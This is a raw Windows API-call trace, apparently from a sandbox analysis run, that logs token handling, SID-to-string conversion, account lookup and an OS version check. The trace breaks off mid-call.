GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0068.642] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0068.642] SetLastError (dwErrCode=0x0) [0068.642] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0068.642] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0068.642] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0068.642] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0068.642] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0068.642] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0068.644] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0068.644] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0068.644] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0068.645] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0068.645] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0068.645] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0068.645] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0068.647] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0068.647] GetCurrentThread () returned 0xfffffffffffffffe [0068.647] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0068.647] malloc (_Size=0xd8) returned 0xf4740 [0068.647] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0068.647] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0068.647] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0068.648] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0068.648] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0068.648] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0068.648] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0068.648] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0068.649] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0068.649] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0068.649] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0068.649] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0068.649] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0068.649] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0068.649] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0068.650] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0068.650] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0068.650] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0068.650] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0068.650] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0068.650] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0068.650] malloc (_Size=0x18) returned 0xeef60 [0068.650] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x248) returned 1 [0068.650] malloc (_Size=0x48) returned 0xed400 [0068.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x52008140, dwHighDateTime=0x1d9eb0c)) [0068.651] SetEvent (hEvent=0x1f0) returned 1 [0068.655] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0068.655] GetLastError () returned 0x7a [0068.655] malloc (_Size=0x2c) returned 0xee200 [0068.655] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0068.655] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.655] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0068.655] malloc (_Size=0x1c) returned 0xeff00 [0068.655] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.655] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0068.655] malloc (_Size=0x18) returned 0xef0a0 [0068.655] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0068.655] malloc (_Size=0x18) returned 0xeef20 [0068.656] malloc (_Size=0x18) returned 0xeef00 [0068.656] SysStringLen (param_1="S-1-") returned 0x4 [0068.656] SysStringLen (param_1="5") returned 0x1 [0068.656] memcpy (in: _Dst=0x381358, _Src=0x381118, _Size=0xa | out: _Dst=0x381358) returned 0x381358 [0068.656] memcpy (in: _Dst=0x381360, _Src=0x381178, _Size=0x4 | out: _Dst=0x381360) returned 0x381360 [0068.656] free (_Block=0xef0a0) [0068.656] free (_Block=0xeef20) [0068.656] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0068.656] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0068.656] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0068.656] malloc (_Size=0x18) returned 0xeef20 [0068.656] malloc (_Size=0x18) returned 0xef0a0 [0068.656] SysStringLen (param_1="S-1-5") returned 0x5 [0068.656] SysStringLen (param_1="-") returned 0x1 [0068.656] memcpy (in: _Dst=0x381178, _Src=0x381358, _Size=0xc | out: _Dst=0x381178) returned 0x381178 [0068.656] memcpy (in: _Dst=0x381182, _Src=0x381118, _Size=0x4 | out: _Dst=0x381182) returned 0x381182 [0068.656] free (_Block=0xeef00) [0068.656] free (_Block=0xeef20) [0068.656] malloc (_Size=0x18) returned 0xeef20 [0068.656] malloc (_Size=0x18) returned 0xeef00 [0068.656] SysStringLen (param_1="S-1-5-") returned 0x6 [0068.656] SysStringLen (param_1="21") returned 0x2 [0068.656] memcpy (in: _Dst=0x381118, _Src=0x381178, _Size=0xe | out: _Dst=0x381118) returned 0x381118 [0068.656] memcpy (in: _Dst=0x381124, _Src=0x381358, _Size=0x6 | out: _Dst=0x381124) returned 0x381124 [0068.656] free (_Block=0xef0a0) [0068.657] free (_Block=0xeef20) [0068.657] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0068.657] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0068.657] malloc (_Size=0x18) returned 0xeef20 [0068.657] malloc (_Size=0x18) returned 0xef0a0 [0068.657] SysStringLen (param_1="S-1-5-21") returned 0x8 [0068.657] SysStringLen (param_1="-") returned 0x1 [0068.657] memcpy (in: _Dst=0x381358, _Src=0x381118, _Size=0x12 | out: _Dst=0x381358) returned 0x381358 [0068.657] memcpy (in: _Dst=0x381368, _Src=0x381178, _Size=0x4 | out: _Dst=0x381368) returned 0x381368 [0068.657] free (_Block=0xeef00) [0068.657] free (_Block=0xeef20) [0068.657] malloc (_Size=0x18) returned 0xeef20 [0068.657] malloc (_Size=0x18) returned 0xeef00 [0068.657] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0068.657] SysStringLen (param_1="4219442223") returned 0xa [0068.658] memcpy (in: _Dst=0x337698, _Src=0x381358, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0068.658] memcpy (in: _Dst=0x3376aa, _Src=0x381118, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0068.658] free (_Block=0xef0a0) [0068.658] free (_Block=0xeef20) [0068.658] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0068.658] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0068.658] malloc (_Size=0x18) returned 0xeef20 [0068.658] malloc (_Size=0x18) returned 0xef0a0 [0068.658] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0068.658] SysStringLen (param_1="-") returned 0x1 [0068.658] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0068.658] memcpy (in: _Dst=0x33833e, _Src=0x381358, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0068.658] free (_Block=0xeef00) [0068.658] free (_Block=0xeef20) [0068.658] malloc (_Size=0x18) returned 0xeef20 [0068.658] malloc (_Size=0x18) returned 0xeef00 [0068.658] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0068.658] SysStringLen (param_1="4223814209") returned 0xa [0068.658] memcpy (in: _Dst=0x34d958, _Src=0x338318, _Size=0x2a | out: _Dst=0x34d958) returned 0x34d958 [0068.658] memcpy (in: _Dst=0x34d980, _Src=0x381358, _Size=0x16 | out: _Dst=0x34d980) returned 0x34d980 [0068.658] free (_Block=0xef0a0) [0068.658] free (_Block=0xeef20) [0068.658] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0068.658] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0068.659] malloc (_Size=0x18) returned 0xeef20 [0068.659] malloc (_Size=0x18) returned 0xef0a0 [0068.659] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0068.659] SysStringLen (param_1="-") returned 0x1 [0068.659] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x3e | out: _Dst=0x327668) returned 0x327668 [0068.659] memcpy (in: _Dst=0x3276a4, _Src=0x381358, _Size=0x4 | out: _Dst=0x3276a4) returned 0x3276a4 [0068.659] free (_Block=0xeef00) [0068.659] free (_Block=0xeef20) [0068.659] malloc (_Size=0x18) returned 0xeef20 [0068.659] malloc (_Size=0x18) returned 0xeef00 [0068.659] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0068.659] SysStringLen (param_1="3835049652") returned 0xa [0068.659] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x40 | out: _Dst=0x34d958) returned 0x34d958 [0068.659] memcpy (in: _Dst=0x34d996, _Src=0x381358, _Size=0x16 | out: _Dst=0x34d996) returned 0x34d996 [0068.659] free (_Block=0xef0a0) [0068.659] free (_Block=0xeef20) [0068.659] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0068.659] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0068.659] malloc (_Size=0x18) returned 0xeef20 [0068.659] malloc (_Size=0x18) returned 0xef0a0 [0068.659] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0068.659] SysStringLen (param_1="-") returned 0x1 [0068.659] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x54 | out: _Dst=0x327668) returned 0x327668 [0068.660] memcpy (in: _Dst=0x3276ba, _Src=0x381358, _Size=0x4 | out: _Dst=0x3276ba) returned 0x3276ba [0068.660] free (_Block=0xeef00) [0068.660] free (_Block=0xeef20) [0068.660] malloc (_Size=0x18) returned 0xeef20 [0068.660] malloc (_Size=0x18) returned 0xeef00 [0068.660] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0068.660] SysStringLen (param_1="1000") returned 0x4 [0068.660] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x56 | out: _Dst=0x34d958) returned 0x34d958 [0068.660] memcpy (in: _Dst=0x34d9ac, _Src=0x381358, _Size=0xa | out: _Dst=0x34d9ac) returned 0x34d9ac [0068.660] free (_Block=0xef0a0) [0068.660] free (_Block=0xeef20) [0068.660] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0068.660] malloc (_Size=0x5e) returned 0xf0800 [0068.660] free (_Block=0xeef00) [0068.660] malloc (_Size=0x18) returned 0xeef00 [0068.661] free (_Block=0xf0800) [0068.661] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0068.661] GetLastError () returned 0x7a [0068.661] malloc (_Size=0x14) returned 0xeef20 [0068.661] malloc (_Size=0x16) returned 0xef0a0 [0068.661] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef20, cchName=0xebcca4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0068.662] malloc (_Size=0x18) returned 0xef020 [0068.662] malloc (_Size=0x18) returned 0xef040 [0068.662] free (_Block=0xeef20) [0068.662] free (_Block=0xef0a0) [0068.662] free (_Block=0xeff00) [0068.663] free (_Block=0xef040) [0068.663] free (_Block=0xef020) [0068.663] free (_Block=0xeef00) [0068.663] free (_Block=0xee200) [0068.663] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0068.664] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0068.664] GetLastError () returned 0x7a [0068.664] malloc (_Size=0x2c) returned 0xee240 [0068.664] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0068.664] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.664] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0068.664] malloc (_Size=0x1c) returned 0xeff00 [0068.664] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.664] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0068.664] malloc (_Size=0x18) returned 0xeef00 [0068.664] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0068.664] malloc (_Size=0x18) returned 0xef020 [0068.664] malloc (_Size=0x18) returned 0xef040 [0068.664] SysStringLen (param_1="S-1-") returned 0x4 [0068.664] SysStringLen (param_1="5") returned 0x1 [0068.664] memcpy (in: _Dst=0x381118, _Src=0x381178, _Size=0xa | out: _Dst=0x381118) returned 0x381118 [0068.664] memcpy (in: _Dst=0x381120, _Src=0x381358, _Size=0x4 | out: _Dst=0x381120) returned 0x381120 [0068.664] free (_Block=0xeef00) [0068.664] free (_Block=0xef020) [0068.664] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0068.664] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0068.664] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0068.665] malloc (_Size=0x18) returned 0xef020 [0068.665] malloc (_Size=0x18) returned 0xeef00 [0068.665] SysStringLen (param_1="S-1-5") returned 0x5 [0068.665] SysStringLen (param_1="-") returned 0x1 [0068.665] memcpy (in: _Dst=0x381358, _Src=0x381118, _Size=0xc | out: _Dst=0x381358) returned 0x381358 [0068.665] memcpy (in: _Dst=0x381362, _Src=0x381178, _Size=0x4 | out: _Dst=0x381362) returned 0x381362 [0068.665] free (_Block=0xef040) [0068.665] free (_Block=0xef020) [0068.665] malloc (_Size=0x18) returned 0xef020 [0068.665] malloc (_Size=0x18) returned 0xef040 [0068.665] SysStringLen (param_1="S-1-5-") returned 0x6 [0068.665] SysStringLen (param_1="21") returned 0x2 [0068.665] memcpy (in: _Dst=0x381178, _Src=0x381358, _Size=0xe | out: _Dst=0x381178) returned 0x381178 [0068.665] memcpy (in: _Dst=0x381184, _Src=0x381118, _Size=0x6 | out: _Dst=0x381184) returned 0x381184 [0068.665] free (_Block=0xeef00) [0068.665] free (_Block=0xef020) [0068.665] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0068.665] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0068.665] malloc (_Size=0x18) returned 0xef020 [0068.665] malloc (_Size=0x18) returned 0xeef00 [0068.665] SysStringLen (param_1="S-1-5-21") returned 0x8 [0068.665] SysStringLen (param_1="-") returned 0x1 [0068.665] memcpy (in: _Dst=0x381118, _Src=0x381178, _Size=0x12 | out: _Dst=0x381118) returned 0x381118 [0068.665] memcpy (in: _Dst=0x381128, _Src=0x381358, _Size=0x4 | out: _Dst=0x381128) returned 0x381128 [0068.665] free (_Block=0xef040) [0068.666] free (_Block=0xef020) [0068.666] malloc (_Size=0x18) returned 0xef020 [0068.666] malloc (_Size=0x18) returned 0xef040 [0068.666] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0068.666] SysStringLen (param_1="4219442223") returned 0xa [0068.666] memcpy (in: _Dst=0x337698, _Src=0x381118, _Size=0x14 | out: _Dst=0x337698) returned 0x337698 [0068.666] memcpy (in: _Dst=0x3376aa, _Src=0x381178, _Size=0x16 | out: _Dst=0x3376aa) returned 0x3376aa [0068.666] free (_Block=0xeef00) [0068.666] free (_Block=0xef020) [0068.666] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0068.666] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0068.666] malloc (_Size=0x18) returned 0xef020 [0068.666] malloc (_Size=0x18) returned 0xeef00 [0068.666] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0068.666] SysStringLen (param_1="-") returned 0x1 [0068.666] memcpy (in: _Dst=0x338318, _Src=0x337698, _Size=0x28 | out: _Dst=0x338318) returned 0x338318 [0068.666] memcpy (in: _Dst=0x33833e, _Src=0x381118, _Size=0x4 | out: _Dst=0x33833e) returned 0x33833e [0068.666] free (_Block=0xef040) [0068.666] free (_Block=0xef020) [0068.666] malloc (_Size=0x18) returned 0xef020 [0068.666] malloc (_Size=0x18) returned 0xef040 [0068.666] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0068.666] SysStringLen (param_1="4223814209") returned 0xa [0068.666] memcpy (in: _Dst=0x327668, _Src=0x338318, _Size=0x2a | out: _Dst=0x327668) returned 0x327668 [0068.666] memcpy (in: _Dst=0x327690, _Src=0x381118, _Size=0x16 | out: _Dst=0x327690) returned 0x327690 [0068.667] free (_Block=0xeef00) [0068.667] free (_Block=0xef020) [0068.667] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0068.667] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0068.667] malloc (_Size=0x18) returned 0xef020 [0068.667] malloc (_Size=0x18) returned 0xeef00 [0068.667] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0068.667] SysStringLen (param_1="-") returned 0x1 [0068.667] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x3e | out: _Dst=0x34d958) returned 0x34d958 [0068.667] memcpy (in: _Dst=0x34d994, _Src=0x381118, _Size=0x4 | out: _Dst=0x34d994) returned 0x34d994 [0068.667] free (_Block=0xef040) [0068.667] free (_Block=0xef020) [0068.667] malloc (_Size=0x18) returned 0xef020 [0068.667] malloc (_Size=0x18) returned 0xef040 [0068.667] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0068.667] SysStringLen (param_1="3835049652") returned 0xa [0068.667] memcpy (in: _Dst=0x327668, _Src=0x34d958, _Size=0x40 | out: _Dst=0x327668) returned 0x327668 [0068.667] memcpy (in: _Dst=0x3276a6, _Src=0x381118, _Size=0x16 | out: _Dst=0x3276a6) returned 0x3276a6 [0068.667] free (_Block=0xeef00) [0068.667] free (_Block=0xef020) [0068.667] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0068.667] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0068.667] malloc (_Size=0x18) returned 0xef020 [0068.667] malloc (_Size=0x18) returned 0xeef00 [0068.667] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0068.668] SysStringLen (param_1="-") returned 0x1 [0068.668] memcpy (in: _Dst=0x34d958, _Src=0x327668, _Size=0x54 | out: _Dst=0x34d958) returned 0x34d958 [0068.668] memcpy (in: _Dst=0x34d9aa, _Src=0x381118, _Size=0x4 | out: _Dst=0x34d9aa) returned 0x34d9aa [0068.668] free (_Block=0xef040) [0068.668] free (_Block=0xef020) [0068.668] malloc (_Size=0x18) returned 0xef020 [0068.668] malloc (_Size=0x18) 